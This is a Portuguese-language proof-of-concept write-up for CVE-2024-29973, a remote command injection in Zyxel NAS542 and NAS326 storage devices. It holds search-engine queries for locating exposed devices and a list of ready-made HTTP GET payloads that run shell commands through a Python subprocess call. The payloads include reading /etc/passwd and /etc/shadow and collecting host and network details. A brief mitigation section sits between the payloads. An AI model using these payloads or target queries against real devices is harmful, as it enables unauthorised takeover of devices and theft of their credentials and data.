
Prova de conceito de exploit para CVE-2024-29973, uma injeção remota de comandos em dispositivos NAS da Zyxel, demonstrando execução arbitrária de comandos por meio de requisições HTTP elaboradas.
A CVE-2024-29973 é uma vulnerabilidade crítica encontrada em determinados dispositivos de rede Zyxel. Esta vulnerabilidade permite que um atacante não autenticado execute comandos arbitrários no dispositivo alvo, explorando mecanismos inadequados de validação de entrada no firmware. Os atacantes podem enviar solicitações HTTP especialmente criadas para o dispositivo, injetando comandos de nível de sistema e potencialmente obtendo controle total sobre o dispositivo.
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
Injeção de Comandos: A vulnerabilidade surge devido à sanitização insuficiente de entrada em uma das interfaces web do dispositivo. Esta falha permite que os atacantes acrescentem comandos do sistema operacional dentro dos parâmetros das solicitações HTTP.
Exemplo de Exploração: Os atacantes podem injetar comandos através de uma solicitação HTTP GET, como a abaixo, para executar código arbitrário:
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
Impacto: A exploração bem-sucedida resulta na capacidade de executar comandos do sistema, potencialmente levando ao controle remoto do dispositivo, vazamento de dados ou maior comprometimento da rede.
Para mitigar os riscos associados a esta vulnerabilidade, siga estes passos:
Atualização de Firmware: Garanta que todos os dispositivos Zyxel estejam atualizados para a versão mais recente do firmware. A Zyxel lançou patches que corrigem esta vulnerabilidade. Verifique regularmente se há atualizações e aplique-as prontamente.
Segmentação de Rede: Isole dispositivos vulneráveis da infraestrutura crítica de rede. Exponha apenas os serviços necessários e garanta que as interfaces administrativas não sejam acessíveis publicamente.
Configuração de Firewall: Restrinja o tráfego de entrada e saída apenas aos serviços essenciais. Bloqueie o acesso HTTP desnecessário aos dispositivos Zyxel.
Monitore Atividades Suspeitas: Implemente ferramentas de registro e monitoramento que possam detectar e alertar sobre comportamentos incomuns, como tentativas repetidas de login ou padrões de tráfego anormais.
Referências National Vulnerability Database - CVE-2024-29973 Zyxel Security Advisory

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1